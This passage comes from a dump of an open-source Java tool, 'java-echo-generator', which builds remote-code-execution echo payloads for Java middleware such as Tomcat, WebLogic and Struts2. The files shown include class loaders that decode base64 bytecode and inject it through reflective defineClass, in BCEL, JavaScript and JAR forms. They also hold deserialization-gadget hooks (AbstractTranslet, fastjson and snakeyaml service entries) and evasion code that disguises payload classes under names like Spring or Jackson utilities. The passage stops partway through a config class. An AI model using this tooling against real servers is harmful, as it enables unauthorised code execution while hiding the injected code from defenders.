Repository: pen4uin/java-echo-generator
Branch: main
Commit: d29d9950b3c7
Files: 65
Total size: 197.5 KB
Directory structure:
gitextract_i6n13zud/
├── LICENSE
├── README.md
├── jeg-common/
│ ├── pom.xml
│ └── src/
│ └── main/
│ └── java/
│ └── jeg/
│ └── common/
│ ├── config/
│ │ ├── Config.java
│ │ └── Constants.java
│ ├── format/
│ │ ├── BASE64Formatter.java
│ │ ├── BCELFormatter.java
│ │ ├── BigIntegerFormatter.java
│ │ ├── IFormatter.java
│ │ ├── JARFormatter.java
│ │ └── JavaScriptFormatter.java
│ └── util/
│ ├── Base64Util.java
│ ├── ClassUtil.java
│ ├── FileUtil.java
│ ├── GadgetUtil.java
│ ├── HeaderUtil.java
│ ├── JavassistUtil.java
│ ├── RandomUtil.java
│ └── ReflectionUtil.java
├── jeg-core/
│ ├── pom.xml
│ └── src/
│ ├── main/
│ │ └── java/
│ │ └── jeg/
│ │ └── core/
│ │ ├── config/
│ │ │ ├── jEGConfig.java
│ │ │ └── jEGConstants.java
│ │ ├── jEGenerator.java
│ │ ├── template/
│ │ │ ├── all/
│ │ │ │ ├── DFSCmdExecTpl.java
│ │ │ │ └── DFSCodeExecTpl.java
│ │ │ ├── bes/
│ │ │ │ ├── BESCmdExecTpl.java
│ │ │ │ └── BESCodeExecTpl.java
│ │ │ ├── inforsuite/
│ │ │ │ ├── InforSuiteCmdExecTpl.java
│ │ │ │ └── InforSuiteCodeExecTpl.java
│ │ │ ├── jetty/
│ │ │ │ ├── JettyCmdExecTpl.java
│ │ │ │ └── JettyCodeExecTpl.java
│ │ │ ├── resin/
│ │ │ │ ├── ResinCmdExecTpl.java
│ │ │ │ └── ResinCodeExecTpl.java
│ │ │ ├── springmvc/
│ │ │ │ ├── SpringMVCCmdExecTpl.java
│ │ │ │ └── SpringMVCCodeExecTpl.java
│ │ │ ├── struts2/
│ │ │ │ ├── Struts2CmdExecTpl.java
│ │ │ │ └── Struts2CodeExecTpl.java
│ │ │ ├── tomcat/
│ │ │ │ ├── TomcatCmdExecTpl.java
│ │ │ │ └── TomcatCodeExecTpl.java
│ │ │ ├── tongweb/
│ │ │ │ ├── TongWebCmdExecTpl.java
│ │ │ │ └── TongWebCodeExecTpl.java
│ │ │ ├── undertow/
│ │ │ │ ├── UndertowCmdExecTpl.java
│ │ │ │ └── UndertowCodeExecTpl.java
│ │ │ ├── weblogic/
│ │ │ │ ├── WebLogicCmdExecTpl.java
│ │ │ │ └── WebLogicCodeExecTpl.java
│ │ │ └── websphere/
│ │ │ ├── WebSphereCmdExecTpl.java
│ │ │ └── WebSphereCodeExecTpl.java
│ │ └── util/
│ │ └── TemplateUtil.java
│ └── test/
│ └── java/
│ └── GeneratorTest.java
├── jeg-docs/
│ ├── 1.0.0/
│ │ └── README.md
│ └── README_EN.md
├── jeg-gui/
│ ├── pom.xml
│ └── src/
│ └── main/
│ ├── java/
│ │ └── jeg/
│ │ └── gui/
│ │ ├── form/
│ │ │ ├── jEGForm.form
│ │ │ └── jEGForm.java
│ │ ├── jEGApp.java
│ │ └── util/
│ │ ├── ComponentUtil.java
│ │ └── TextPaneUtil.java
│ └── resources/
│ ├── messages_en.properties
│ ├── messages_en.properties.bak
│ ├── messages_zh.properties
│ └── messages_zh.properties.bak
├── jeg-woodpecker/
│ ├── pom.xml
│ └── src/
│ └── main/
│ └── java/
│ └── me/
│ └── gv7/
│ └── woodpecker/
│ ├── helper/
│ │ └── jEGHelper.java
│ └── plugin/
│ └── WoodpeckerPluginManager.java
└── pom.xml
================================================
FILE CONTENTS
================================================
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2025 pen4uin
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
Java Echo Generator
一款支持高度自定义的 Java 回显载荷生成工具
> [!WARNING]
> 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受,请勿使用此工具。
## 功能
| 中间件 | 框架 | 执行模式 | 输出格式 |
|-----------------|-----------|---------|------------|
| Tomcat | SpringMVC | Command | BASE64 |
| Resin | Struts2 | Code | BCEL |
| WebLogic | | | BIGINTEGER |
| Jetty | | | CLASS |
| WebSphere | | | JAR |
| Undertow | | | JS |
| GlassFish | | | |
| BES(宝兰德) | | | |
| InforSuite(中创) | | | |
| TongWeb(东方通) | | | |
## 编译
```shell
mvn package assembly:single
```
## 使用
**图形化**
1. 下载 jEG-GUI-1.0.0.jar 运行即可

**Woodpecker 插件**
1. 下载 jEG-Woodpecker-1.0.0.jar 到 woodpecker 插件目录下即可

**第三方库**
1. 下载 jEG-Core-1.0.0.jar 并安装到本地 maven 仓库
```
mvn install:install-file -Dfile=jEG-Core-1.0.0.jar -DgroupId=jeg -DartifactId=jeg-core -Dversion=1.0.0 -Dpackaging=jar
```
2. 引入自己的框架/工具的依赖中
```
jeg
jeg-core
1.0.0
```
3. 调用 API 生成需要的回显载荷即可
```
// 基本配置
jEGConfig config = new jEGConfig() {{
// 设置待回显的中间件为 tomcat
setServerType(Constants.SERVER_TOMCAT);
// 设置待执行的 payload 为命令执行回显
setModelType(Constants.MODEL_CMD);
// 设置 payload 的输出格式为 BASE64
setFormatType(Constants.FORMAT_BASE64);
// 初始化基础配置
build();
}};
// 生成 payload
jEGenerator generator = new jEGenerator(config);
System.out.println("请求头: " + config.getReqHeaderName());
System.out.println(generator.getPayload());
```
## 文档
- [jEG v1.0.0 - 高度自定义的 Java 回显生成工具](./jeg-docs/1.0.0/)
## 致谢
- https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/
- https://gist.github.com/fnmsd/8165cedd9fe735d7ef438b2e977af327
- https://github.com/feihong-cs/Java-Rce-Echo
## 协议
- MIT
================================================
FILE: jeg-common/pom.xml
================================================
4.0.0
jeg
java-echo-generator
${reversion}
jEG-common
${artifactId}-${reversion}
me.gv7.woodpecker
woodpecker-bcel
0.1.0
================================================
FILE: jeg-common/src/main/java/jeg/common/config/Config.java
================================================
package jeg.common.config;
public class Config {
private String serverType;
private String formatType;
private String gadgetType;
private String loaderClassName;
private String classNameInFormatter;
private byte[] classBytesInFormatter;
private String classBase64InFormatter;
public String getOutputDir() {
return outputDir;
}
public void setOutputDir(String outputDir) {
this.outputDir = outputDir;
}
private String outputDir;
public String getLoaderClassName() {
return loaderClassName;
}
public void setLoaderClassName(String loaderClassName) {
this.loaderClassName = loaderClassName;
}
public String getClassNameInFormatter() {
return classNameInFormatter;
}
public void setClassNameInFormatter(String classNameInFormatter) {
this.classNameInFormatter = classNameInFormatter;
}
public byte[] getClassBytesInFormatter() {
return classBytesInFormatter;
}
public void setClassBytesInFormatter(byte[] classBytesInFormatter) {
this.classBytesInFormatter = classBytesInFormatter;
}
public String getClassBase64InFormatter() {
return classBase64InFormatter;
}
public void setClassBase64InFormatter(String classBase64InFormatter) {
this.classBase64InFormatter = classBase64InFormatter;
}
public String getServerType() {
return serverType;
}
public void setServerType(String serverType) {
this.serverType = serverType;
}
public String getFormatType() {
return formatType;
}
public void setFormatType(String formatType) {
this.formatType = formatType;
}
public String getGadgetType() {
return gadgetType;
}
public void setGadgetType(String gadgetType) {
this.gadgetType = gadgetType;
}
public boolean isImplementsASTTransformationType() {
return implementsASTTransformationType;
}
public void setImplementsASTTransformationType(boolean implementsASTTransformationType) {
this.implementsASTTransformationType = implementsASTTransformationType;
}
public boolean isImplementsScriptEngineFactory() {
return implementsScriptEngineFactory;
}
public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) {
this.implementsScriptEngineFactory = implementsScriptEngineFactory;
}
private boolean implementsASTTransformationType = false;
private boolean implementsScriptEngineFactory = false;
}
================================================
FILE: jeg-common/src/main/java/jeg/common/config/Constants.java
================================================
package jeg.common.config;
public interface Constants {
String FORMAT_CLASS = "CLASS";
String FORMAT_BCEL = "BCEL";
String FORMAT_JSP = "JSP";
String FORMAT_JAR = "JAR";
String FORMAT_JS = "JS";
String FORMAT_BASE64 = "BASE64";
String FORMAT_BIGINTEGER = "BIGINTEGER";
String GADGET_NONE = "NONE";
String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet";
String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet";
String SERVER_TOMCAT = "Tomcat";
String SERVER_JETTY = "Jetty";
String SERVER_RESIN = "Resin";
String SERVER_SPRING_MVC = "SpringMVC";
String SERVER_STRUTS2 = "Struts2";
String SERVER_UNDERTOW = "Undertow";
String SERVER_WEBLOGIC = "WebLogic";
String SERVER_WEBSPHERE = "WebSphere";
String SERVER_BES = "BES";
String SERVER_INFORSUITE = "InforSuite";
String SERVER_TONGWEB = "TongWeb";
String SERVER_UNKNOWN = "Unknown";
}
================================================
FILE: jeg-common/src/main/java/jeg/common/format/BASE64Formatter.java
================================================
package jeg.common.format;
import jeg.common.config.Config;
import jeg.common.util.Base64Util;
public class BASE64Formatter implements IFormatter {
@Override
public byte[] transform(byte[] bytes, Config config) throws Exception {
return Base64Util.encodeToBase64(bytes).replace("\n", "").replace("\r", "").getBytes();
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/format/BCELFormatter.java
================================================
package jeg.common.format;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import jeg.common.config.Config;
import jeg.common.util.Base64Util;
import jeg.common.util.ClassUtil;
import jeg.common.util.JavassistUtil;
import me.gv7.woodpecker.bcel.HackBCELs;
import java.io.IOException;
import java.lang.reflect.Method;
public class BCELFormatter implements IFormatter {
public byte[] transform(byte[] bytes, Config config) throws IOException {
ClassPool pool = ClassPool.getDefault();
ClassClassPath classPath = new ClassClassPath(BCELoader.class);
pool.insertClassPath(classPath);
CtClass ctClass;
byte[] bcelLoaderBytes = new byte[0];
try {
ctClass = pool.getCtClass(BCELoader.class.getName());
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
getBase64String.setBody(String.format("{return \"%s\";}", Base64Util.encodeToBase64(config.getClassBytesInFormatter())));
CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
getClassName.setBody(String.format("{return \"%s\";}", config.getClassNameInFormatter()));
ctClass.setName(ClassUtil.getRandomClassName());
ctClass.getClassFile().setVersionToJava5();
JavassistUtil.removeSourceFileAttribute(ctClass);
bcelLoaderBytes = ctClass.toBytecode();
ctClass.detach();
} catch (Exception e) {
e.printStackTrace();
}
return HackBCELs.encode(bcelLoaderBytes).getBytes();
}
}
class BCELoader extends ClassLoader {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
public BCELoader() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
;
try {
classLoader.loadClass(getClassName()).newInstance();
} catch (Exception var1) {
try {
byte[] classBytes = base64Decode(getBase64String());
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
Class clazz = (Class) defineClassMethod.invoke(classLoader, classBytes, 0, classBytes.length);
clazz.newInstance();
} catch (Exception var2) {
}
}
}
public static byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/format/BigIntegerFormatter.java
================================================
package jeg.common.format;
import jeg.common.config.Config;
import java.io.IOException;
import java.math.BigInteger;
public class BigIntegerFormatter implements IFormatter {
@Override
public byte[] transform(byte[] bytes, Config config) throws IOException {
return new BigInteger(bytes).toString(36).getBytes();
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/format/IFormatter.java
================================================
package jeg.common.format;
import jeg.common.config.Config;
public interface IFormatter {
public byte[] transform(byte[] bytes, Config config) throws Exception;
}
================================================
FILE: jeg-common/src/main/java/jeg/common/format/JARFormatter.java
================================================
package jeg.common.format;
import jeg.common.config.Config;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.jar.JarEntry;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
public class JARFormatter implements IFormatter {
public byte[] transform(byte[] bytes, Config config) throws IOException {
String className = config.getClassNameInFormatter();
String jarEntryFileName = className.replace(".", "/") + ".class";
Manifest manifest = new Manifest();
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) {
jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName));
jarOutputStream.write(bytes);
jarOutputStream.closeEntry();
// fastjson + groovy 的利用
if (config.isImplementsASTTransformationType()) {
String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation";
JarEntry entry = new JarEntry(entryName);
jarOutputStream.putNextEntry(entry);
jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
jarOutputStream.closeEntry();
}
// snakeyaml + loadJar 的利用
if (config.isImplementsScriptEngineFactory()) {
String entryName = "META-INF/services/javax.script.ScriptEngineFactory";
JarEntry entry = new JarEntry(entryName);
jarOutputStream.putNextEntry(entry);
jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
jarOutputStream.closeEntry();
}
}
return out.toByteArray();
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/format/JavaScriptFormatter.java
================================================
package jeg.common.format;
import jeg.common.config.Config;
import jeg.common.util.Base64Util;
public class JavaScriptFormatter implements IFormatter {
public byte[] transform(byte[] bytes, Config config) throws Exception {
String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
"try{\n" +
" classLoader.loadClass(\""+ config.getClassNameInFormatter() +"\").newInstance();\n" +
"}catch (e){\n" +
" var clsString = classLoader.loadClass('java.lang.String');\n" +
" var bytecodeBase64 = \""+ Base64Util.encodeToBase64(bytes).replace("\n", "").replace("\r", "") + "\";\n" +
" var bytecode;\n" +
" try{\n" +
" var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" +
" var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
" var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
" bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" +
" } catch (ee) {\n" +
" var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
" bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" +
" }\n" +
" var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" +
" var clsByteArray = classLoader.loadClass('[B');\n" +
" var clsInt = java.lang.Integer.TYPE;\n" +
" var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" +
" defineClass.setAccessible(true);\n" +
" var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" +
" clazz.newInstance();\n" +
"}";
return strJS.getBytes();
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/util/Base64Util.java
================================================
package jeg.common.util;
public class Base64Util {
public static String encodeToBase64(byte[] input) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input);
} catch (Exception var5) {
}
}
return value;
}
public static String decodeFromBase64(String input) throws Exception {
byte[] var2 = null;
Class var1;
try {
var1 = Class.forName("java.util.Base64");
Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input));
} catch (Exception var6) {
try {
var1 = Class.forName("sun.misc.BASE64Decoder");
Object var4 = var1.newInstance();
var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input));
} catch (Exception var5) {
}
}
return new String(var2);
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/util/ClassUtil.java
================================================
package jeg.common.util;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
public class ClassUtil {
static String[] classNames = {
"NetworkUtils",
"KeyUtils",
"EncryptionUtils",
"SessionDataUtil",
"SOAPUtils",
"ReflectUtil",
"HttpClientUtil",
"EncryptionUtil",
"XMLUtil",
"JSONUtil",
"FileUtils",
"DateUtil",
"StringUtil",
"MathUtil",
"HttpUtil",
"CSVUtil"
};
private static final String[] packageNames = {
"org.springframework",
"org.apache.logging",
"org.apache",
"com.fasterxml.jackson",
"org.junit",
"org.apache.commons.lang",
"com.google.gso",
"ch.qos.logback"
};
public static String generatePackageName(String[] packageNames) {
Random random = new Random();
String packageName = packageNames[random.nextInt(packageNames.length)];
return packageName;
}
public static String getRandomPackageName(String[] packageNames) {
return generatePackageName(packageNames);
}
public static String getRandomName(String[]... arrays) {
List classNames = new ArrayList<>();
for (String[] array : arrays) {
for (String className : array) {
classNames.add(className);
}
}
Random random = new Random();
int index = random.nextInt(classNames.size());
return classNames.get(index);
}
public static String generateRandomString() {
Random random = new Random();
StringBuilder sb = new StringBuilder();
int length = random.nextInt(5) + 2; // 生成2-6之间的随机数
for (int i = 0; i < length; i++) {
char c = (char) (random.nextInt(26) + 'a');
sb.append(c);
}
return sb.toString();
}
public static String getRandomClassName() {
return getRandomPackageName(packageNames) + "." + generateRandomString() + "." + getRandomName(classNames);
}
public static String getRandomLoaderClassName() {
return getRandomPackageName(packageNames) + "." + generateRandomString() + "." + getRandomName(classNames);
}
public static String getSimpleName(String className) {
int lastDotIndex = className.lastIndexOf(".");
if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
return className.substring(lastDotIndex + 1);
}
return className;
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/util/FileUtil.java
================================================
package jeg.common.util;
import java.io.*;
public class FileUtil {
public static void writeFile(String filePath, byte[] bytes) throws IOException {
OutputStream out = new FileOutputStream(filePath);
InputStream is = new ByteArrayInputStream(bytes);
byte[] buff = new byte[1024];
int len;
while((len = is.read(buff)) != -1) {
out.write(buff, 0, len);
}
is.close();
out.close();
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/util/GadgetUtil.java
================================================
package jeg.common.util;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import jeg.common.config.Constants;
import jeg.common.config.Config;
public class GadgetUtil {
private Config config;
private ClassPool pool;
private CtClass modifiedClass;
public GadgetUtil(Config config, ClassPool pool, CtClass modifiedClass) {
this.config = config;
this.pool = pool;
this.modifiedClass = modifiedClass;
}
public byte[] modify() throws Exception {
byte[] classBytes = null;
if (pool != null && modifiedClass != null) {
if (config.getGadgetType().contains(Constants.GADGET_JDK_TRANSLET)) {
applyJDKAbstractTranslet();
}
if (config.getGadgetType().contains(Constants.GADGET_XALAN_TRANSLET)) {
applyXALANAbstractTranslet();
}
modifiedClass.getClassFile().setVersionToJava5();
classBytes = modifiedClass.toBytecode();
modifiedClass.defrost();
} else {
throw new Exception("pool or modifiedClass is null");
}
return classBytes;
}
public void applyJDKAbstractTranslet() throws NotFoundException, CannotCompileException {
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
modifiedClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
}
public void applyXALANAbstractTranslet() throws NotFoundException, CannotCompileException, ClassNotFoundException {
try {
pool.get("org.apache.xalan.xsltc.runtime.AbstractTranslet");
} catch (NotFoundException e) {
pool.makeClass("org.apache.xalan.xsltc.runtime.AbstractTranslet");
}
modifiedClass.setSuperclass(pool.get("org.apache.xalan.xsltc.runtime.AbstractTranslet"));
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/util/HeaderUtil.java
================================================
package jeg.common.util;
import java.util.Random;
public class HeaderUtil {
private static final Random RANDOM = new Random();
public static String genHeaderName(String[] keys) {
String key = genRandomKey(keys);
return key + genRandomSuffix();
}
private static String genRandomKey(String[] keys) {
return keys[RANDOM.nextInt(keys.length)];
}
private static String genRandomSuffix() {
StringBuilder sb = new StringBuilder();
int length = RANDOM.nextInt(9) + 4; // 生成4-10之间长度的随机字符串
for (int i = 0; i < length; i++) {
char c = (char) (RANDOM.nextInt(26) + 'a');
if (i == 0) {
c = Character.toUpperCase(c);
}
sb.append(c);
}
return sb.toString();
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/util/JavassistUtil.java
================================================
package jeg.common.util;
import javassist.*;
import javassist.bytecode.AttributeInfo;
import javassist.bytecode.ClassFile;
import javassist.bytecode.SourceFileAttribute;
import java.util.List;
/**
* javassist 工具类
*/
public class JavassistUtil {
private static ClassPool pool = ClassPool.getDefault();
public static void addMethod(CtClass ctClass, String methodName, String methodBody) throws Exception {
ctClass.defrost();
try {
// 已存在,修改
CtMethod ctMethod = ctClass.getDeclaredMethod(methodName);
ctMethod.setBody(methodBody);
} catch (NotFoundException ignored) {
// 不存在,直接添加
CtMethod method = CtNewMethod.make(methodBody, ctClass);
ctClass.addMethod(method);
}
}
public static void addField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
ctClass.defrost();
try {
CtField field = ctClass.getDeclaredField(fieldName);
ctClass.removeField(field);
try {
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
defField.setModifiers(Modifier.PUBLIC);
ctClass.addField(defField, "\"" + fieldValue + "\"");
} catch (Exception e) {
throw new RuntimeException(e);
}
} catch (NotFoundException ignored) {
try {
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
defField.setModifiers(Modifier.STATIC);
ctClass.addField(defField, "\"" + fieldValue + "\"");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
public static void addStaticField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
ctClass.defrost();
try {
CtField field = ctClass.getDeclaredField(fieldName);
ctClass.removeField(field);
try {
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
defField.setModifiers(Modifier.PUBLIC);
defField.setModifiers(Modifier.STATIC);
ctClass.addField(defField, "\"" + fieldValue + "\"");
} catch (Exception e) {
throw new RuntimeException(e);
}
} catch (NotFoundException ignored) {
try {
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
defField.setModifiers(Modifier.STATIC);
ctClass.addField(defField, "\"" + fieldValue + "\"");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
// 删除 SourceFileAttribute (源文件名) 信息
public static void removeSourceFileAttribute(CtClass ctClass) {
ctClass.defrost();
ClassFile classFile = ctClass.getClassFile2();
try {
// javassist.bytecode.ClassFile.removeAttribute Since: 3.21
ReflectionUtil.invokeMethod(classFile, "removeAttribute", new Class[]{String.class}, new Object[]{SourceFileAttribute.tag});
} catch (Exception e) {
try {
// 兼容 javassist v3.20 及以下
List attributes = (List) ReflectionUtil.getFV(classFile, "attributes");
removeAttribute(attributes, SourceFileAttribute.tag);
} catch (Exception ignored) {
}
}
}
public static synchronized AttributeInfo removeAttribute(List attributes, String name) {
if (attributes == null) return null;
for (AttributeInfo ai : attributes)
if (ai.getName().equals(name)) if (attributes.remove(ai)) return ai;
return null;
}
public static void addFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
if (fieldValue != null) {
JavassistUtil.addField(ctClass, fieldName, fieldValue);
}
}
public static void addStaticFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
if (fieldValue != null) {
JavassistUtil.addStaticField(ctClass, fieldName, fieldValue);
}
}
public static void setNameIfNotNull(CtClass ctClass, String className) throws Exception {
if (className != null) {
ctClass.setName(className);
}
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/util/RandomUtil.java
================================================
package jeg.common.util;
import java.util.Random;
public class RandomUtil {
// 生成随机长度的字符串
public static String genRandomLengthString(int minLength) {
Random random = new Random();
StringBuilder sb = new StringBuilder();
int length = random.nextInt(16) + minLength; // 生成2-6之间的随机数
for (int i = 0; i < length; i++) {
char c = (char) (random.nextInt(26) + 'a');
if (i == 0) {
c = Character.toUpperCase(c);
}
sb.append(c);
}
return sb.toString();
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/util/ReflectionUtil.java
================================================
package jeg.common.util;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class ReflectionUtil {
public static void setFV(Object var0, String var1, Object val) throws Exception {
getF(var0, var1).set(var0, val);
}
public static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
public static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
================================================
FILE: jeg-core/pom.xml
================================================
4.0.0
jeg
java-echo-generator
${reversion}
jEG-core
${artifactId}-${reversion}
jeg
jEG-common
${reversion}
================================================
FILE: jeg-core/src/main/java/jeg/core/config/jEGConfig.java
================================================
package jeg.core.config;
import jeg.common.config.Config;
import jeg.common.config.Constants;
import jeg.common.util.ClassUtil;
import jeg.common.util.HeaderUtil;
import jeg.common.util.RandomUtil;
import java.util.Objects;
public class jEGConfig extends Config {
public jEGConfig() {
}
public void setServerType(String serverType) {
this.serverType = serverType;
}
public void setModelType(String modelType) {
this.modelType = modelType;
}
public void setClassName(String className) {
this.className = className;
}
public void setFormatType(String formatType) {
this.formatType = formatType;
}
public void setOutputDir(String outputDir) {
this.outputDir = outputDir;
}
public void setReqHeaderName(String reqHeaderName) {
this.reqHeaderName = reqHeaderName;
}
public void setReqParamName(String reqParamName) {
this.reqParamName = reqParamName;
}
public void setRespHeaderName(String respHeaderName) {
this.respHeaderName = respHeaderName;
}
public void setBase64ClassString(String base64ClassString) {
this.base64ClassString = base64ClassString;
}
public void setClassBytes(byte[] classBytes) {
this.classBytes = classBytes;
}
public void setClassBytesLength(int classBytesLength) {
this.classBytesLength = classBytesLength;
}
public void setLoaderClassName(String loaderClassName) {
this.loaderClassName = loaderClassName;
}
public void setGadgetType(String gadgetType) {
this.gadgetType = gadgetType;
}
private String serverType;
private String modelType;
private String className;
private String formatType;
private String outputDir;
private String desKey;
private String reqHeaderName;
private String reqParamName;
private String respHeaderName;
private String base64ClassString;
private byte[] classBytes;
private int classBytesLength;
private boolean implementsASTTransformationType = false;
private boolean implementsScriptEngineFactory = false;
private String loaderClassName;
private String gadgetType;
public String getModelType() {
return modelType;
}
public String getServerType() {
return serverType;
}
public String getClassName() {
return className;
}
public String getFormatType() {
return formatType;
}
public String getOutputDir() {
return outputDir;
}
public String getDesKey() {
return desKey;
}
public String getReqHeaderName() {
return reqHeaderName;
}
public String getReqParamName() {
return reqParamName;
}
public String getRespHeaderName() {
return respHeaderName;
}
public String getBase64ClassString() {
return base64ClassString;
}
public byte[] getClassBytes() {
return classBytes;
}
public int getClassBytesLength() {
return classBytesLength;
}
public String getLoaderClassName() {
return loaderClassName;
}
